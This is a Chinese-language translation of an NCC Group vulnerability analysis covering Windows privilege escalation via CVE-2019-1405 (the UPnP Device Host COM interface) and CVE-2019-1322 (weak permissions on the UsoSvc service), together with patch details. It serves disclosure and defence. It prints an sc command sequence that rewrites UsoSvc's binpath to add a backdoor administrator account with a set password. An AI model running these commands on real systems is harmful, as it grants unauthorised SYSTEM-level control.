Windows本地提权漏洞分析(CVE-2019-1405及CVE-2019-1322)

阅读量    979994 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

在本文中,我们将讨论NCC Group在分析COM本地服务时找到的两个漏洞。第一个漏洞(CVE-2019-1405)是COM服务中的一个逻辑错误,可以允许本地非特权用户以LOCAL SERVICE用户身份执行任意命令。第二个漏洞(CVE-2019-1322)属于比较简单的服务错误配置,允许本地SERVICE组中的任意用户重新配置以SYSTEM权限运行的服务(其他研究者也独立发现了这个漏洞)。这两个漏洞结合起来后,本地低特权用户就可以使用SYSTEM用户身份在默认安装的Windows 10系统上执行任意命令。

 

0x01 COM介绍

首先我们介绍一下相关背景,以便我们理解第一个漏洞。如果大家对Windows上的COM比较理解,可以直接跳过这部分内容。

COM(Component Object Model,组件对象模型)是用于软件组件的一个二进制接口标准,由微软在1993年引入。从广义上讲,这意味着COM是一个架构,允许开发者以与语言无关的方式使用特定的软件组件。COM有许多知名的应用,包括ActiveX及OLE(比如在Word文档中嵌入Excel电子表格)。此外,微软及第三方应用会在整个Windows内部生态中使用COM,应用非常广泛。

COM对象通过GUID(全局唯一标识符)进行标识,即CLSID,CLSID存储在Windows注册表中(许多COM对象也会直接在注册表中命名,但名称还是会链接到对应的CLSID)。CLSID表项中包含COM子系统在对象实例创建时所使用的相关信息。

COM会对外公开一个或多个接口,隐藏对象的内部实现。接口本质上定义的是对象支持的一系列方法,而没有提供具体的实现方式。我们可以将接口当成调用方法的代码与实现该方法的代码之间的一个边界。每个COM对象都支持IUnknown接口,该接口用来提供引用计数,也可以通过AddRefReleaseQueryInterface方法强制转换为其他接口。接口通常通过MIDL(Microsoft Interface Definition Language,微软接口定义语言)进行定义,并且通过某种GUID(即IID)进行标识,这些信息也都存放在注册表中。然而这里需要注意的是,对于特定的COM对象,注册表中并没有提供该对象能支持的特定接口信息。

COM对象大致可以分为两大类:在调用进程中创建的对象以及在进程外创建的对象。在权限提升攻击中,以本地服务方式执行的进程外COM对象是绝佳的攻击目标,并且默认安装的Windows中存在许多这类对象。

我们可以使用许多工具来检查COM对象以及在指定Windows实例上注册的接口。可能最好的工具为OleViewDotNet,这里我们就不赘述该工具的各种功能,如果大家对COM比较感兴趣,可以使用一下OleViewDotNet,阅读James写过的关于这方面内容的各种研究文章。

 

0x02 CVE-2019-1405:UPnP Device Host服务

UPnP Device Host服务从Windows XP到Windows 10系统中默认都处于启用状态,并且以NT AUTHORITY\LOCAL SERVICE用户权限运行(该服务默认安装在Server版的Windows系统中,但某些系统下默认没有启用)。该服务中,有一些COM对象以本地服务端方式运行,在OleViewDotNet中的分析结果如下所示:

与Windows中的其他安全对象一样,访问控制可以应用于COM服务端,OleViewDotNet也能显示相关信息。如下图所示,我们可以看到应用于UPnP Device Host服务的启动权限:

在这种情况下,DACL会阻止NETWORK用户启动该服务中的COM对象,然而所有本地用户都可以执行该操作,因此这是可以用于权限提升的一个利用点。

该服务所托管的UPnPContainerManagerUPnPContainerManager64 COM对象都实现了IUPnPContainerManager接口,该接口并没有公开文档,但OleViewDotNet可以提取该对象已公开方法的某些信息。此外,微软还为核心操作系统组件提供了调试符号。结合这些信息,我们可以得到该接口初始的定义(部分MIDL代码):

[
       object,
       uuid(6d8ff8d4-730d-11d4-bf42-00b0d0118b56),
       pointer_default(unique)
]
interface IUPnPContainerManager : IUnknown {
        HRESULT ReferenceContainer([in] wchar_t* string1);
        HRESULT UnReferenceContainer([in] wchar_t* string1);
        HRESULT CreateInstance(
         [in] wchar_t* string1,
         [in] GUID* guid1,
         [in] GUID* guid2, 
         IUnknown** pObject);
        HRESULT CreateInstanceWithProgID(
         [in] wchar_t* string1, 
         [in] wchar_t* guid1, 
         [in] GUID* guid2, 
         [out] IUnknown** pObject);
        HRESULT Shutdown();
}

从上可知,由IUPnPContainerManager公开的CreateInstance方法看上去比较有趣。如果大家具备一定程度的COM编程经验,就可以通过该方法的名称及API来猜测该方法可能与标准的CoCreateInstance有关联,而后者可以用来创建任何COM对象(虽然目前我们还不是特别明确CreateInstance第一个参数的作用)。不幸的是,如果我们使用已知的CLSID、IID以及使用某个字符串作为第一个参数来调用CreateInstance,会出现未公开的错误代码。

此时我们没有特别多的选择,只能打开反编译器,观察该方法的内部代码实现。幸运的是,找到该代码很简单(OleViewDotNet可以帮我们识别实现目标类的模块以及方法接口的偏移量),我们发现大部分工作由CContainerManagerBase::CreateInstance方法完成,该方法的实现位于upnphost.dll模块中,部分反编译结果如下图所示:

传入CreateInstance的字符串参数在上述代码中为a2,该参数会被拷贝到v7,然后通过调用HrAssign来显式初始化Block对象。Block随后会被传递给HrLookup,如果HrLookup成功返回,那么实际的处理逻辑似乎会由第33行的函数调用来完成。调试代码后,我们很快就可以发现,当使用某个字符串作为第一个参数传入CreateInstanceHrLookup函数无法返回成功值。因此,该字符串参数的具体内容非常重要。

接下来自然是分析HrLookup函数,经过努力后,我们发现这个任务并不是那么简单,我们只能另辟蹊径。前面提到过,我们通过IUPnPContainerManager接口来与该代码交互,因此我们决定查看其他公开的方法来获取灵感。这里我们以CContainerManagerBase::ReferenceContainer方法为突破口,该方法实现了ReferenceContainer,对应的反编译结果如下图所示:

该方法刚开始时与CreateInstance的实现比较相似,然而这里如果调用HrLookup失败,代码最终会调用HrInsertTransfer方法,通过字符串参数创建的Block对象会被传递给ReferenceContainer。因此这里我们自然有一个猜想:在调用CreateInstance之前,我们可能需要调用ReferenceContainer。快速测试后,我们发现这种思路非常正确。因此基于这些知识,我们可以改进IUPnPContainerManager接口的定义,如下所示:

[
        object,
        uuid(6d8ff8d4-730d-11d4-bf42-00b0d0118b56),
        pointer_default(unique)
]
interface IUPnPContainerManager : IUnknown {
        HRESULT ReferenceContainer([in] wchar_t* containerName);
        HRESULT UnReferenceContainer([in] wchar_t* containerName);
        HRESULT CreateInstance(
         [in] wchar_t* containerName,
         [in] GUID* clsid,
         [in] GUID* iid, 
         IUnknown** pObject);
        HRESULT CreateInstanceWithProgID(
         [in] wchar_t* containerName, 
         [in] wchar_t* progID, 
         [in] GUID* iid, 
         [out] IUnknown** pObject);
        HRESULT Shutdown();
}

我们需要先使用任意字符串调用ReferenceContainer方法,然后使用同一个字符串调用CreateInstance方法,这样就能在本地服务端进程中创建由clsid参数标识的一个COM对象实例,并且该方法会通过pObject参数,向调用方返回由iid参数标识的接口。

为什么这种操作比较有趣?这种操作允许低权限本地用户以NT AUTHORITY\LOCAL SERVICE用户身份来使用已注册的任何进程内COM对象,从而实现类似进程外调用的效果。更具体一点,攻击者可能创建Windows Script Host Shell对象的实例,获得该对象IWshShell接口的引用。随后,攻击者可能调用该接口的Run方法,在UPnP Device Host进程上下文中执行任意命令。

在Windows 10上,UPnP Device Host服务不需要模拟,会以AUTHORITY\LOCAL SERVICE用户身份执行,ServiceSidType的值设置为SERVICE_SID_TYPE_UNRESTRICTED。我们可以使用Process Explorer观察托管UPnP Device Host服务的svchost进程属性,确认SeImpersonatePrivilege处于未启用状态。

不幸的是,我们无法通过已知的一些方法(如[1][2]这两处参考资料)提升至NT AUTHORITY\SYSTEM权限。服务账户比标准低权限用户具备更多的权限,例如服务账户还隶属于NT AUTHORITY\SERVICE组(这一点在讨论第二个漏洞时比较关键)。

在Windows XP上,系统无法实现这种细粒度的服务配置,因此我们可以直接提升至NT AUTHORITY\SYSTEM

 

0x03 CVE-2019-1322:Update Orchestrator服务

找到上一个漏洞后,我们想知道是否可以利用已获取的权限来利用另一个漏洞,实现对目标主机的完全控制。快速扫描可被利用对象上默认的访问控制策略后,我们找到了Update Orchestrator服务。

Update Orchestrator服务以NT AUTHORITY\SYSTEM权限运行,在Windows 10及Windows Server 2019上默认处于启用状态。运行SysInternals的accesschk.exe工具后,从输出结果中我们可以看到Windows 10系统(1803版到1903版)赋予Update Orchestrator服务(UsoSvc)的访问控制策略。

UsoSvc
  Medium Mandatory Level (Default) [No-Write-Up]
  R NT AUTHORITY\Authenticated Users
       SERVICE_QUERY_STATUS
       SERVICE_QUERY_CONFIG
       SERVICE_INTERROGATE
       SERVICE_ENUMERATE_DEPENDENTS
       SERVICE_START
       SERVICE_USER_DEFINED_CONTROL
  R BUILTIN\Administrators
       SERVICE_QUERY_STATUS
       SERVICE_QUERY_CONFIG
       SERVICE_INTERROGATE
       SERVICE_ENUMERATE_DEPENDENTS
       SERVICE_START
       SERVICE_STOP
       SERVICE_USER_DEFINED_CONTROL
  RW NT AUTHORITY\SYSTEM
       SERVICE_ALL_ACCESS
  RW NT AUTHORITY\SERVICE
       SERVICE_ALL_ACCESS

最后两行表示NT AUTHORITY\SERVICE组中的用户具备该服务的完整访问权限,也就是说,隶属于该组的用户可以停止、重新配置以及启动该服务,这样用户就可以以NT AUTHORITY\SERVICE权限执行任意命令。

比如,我们可以以NT AUTHORITY\SERVICE组中用户的身份运行如下命令,将名为_tmpAdmUser的管理员用户(密码为H.jqt41Kz!a!)添加到存在漏洞的主机上,然后将该服务还原为默认状态。

sc stop UsoSvc 
sc config UsoSvc binpath= "cmd.exe /c net user /add _tmpAdmUser H.jqt41Kz!a! &" 
sc start UsoSvc 
sc stop UsoSvc 
sc config UsoSvc binpath= "cmd.exe /c net localgroup administrators /add _tmpAdmUser &" 
sc start UsoSvc 
sc stop UsoSvc 
sc config UsoSvc binpath= "C:\WINDOWS\system32\svchost.exe -k netsvcs -p" 
sc start UsoSvc

我们全面检查了一些Windows服务,发现以LOCAL SERVICENETWORK SERVICE运行的所有用户都可以执行这种攻击。其中就包括前面我们提到的UPnP Device Host服务,这样我们就能以本地任意用户身份,结合使用CVE-2019-1405及CVE-2019-1322这两个漏洞,成功在Windows 10(1803到1903)系统上将权限提升至SYSTEM用户。

 

0x04 补丁情况

微软在2019年10月修复了CVE-2019-1322,删除了SERVICE组中用户对Update Orchestrator服务的完整控制权限。

此外,微软在2019年11月修复了CVE-2019-1405,在ReferenceContainerCreateInstance以及CreateInstanceWithProgID中添加了访问检测机制,确保调用方隶属于管理员组。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多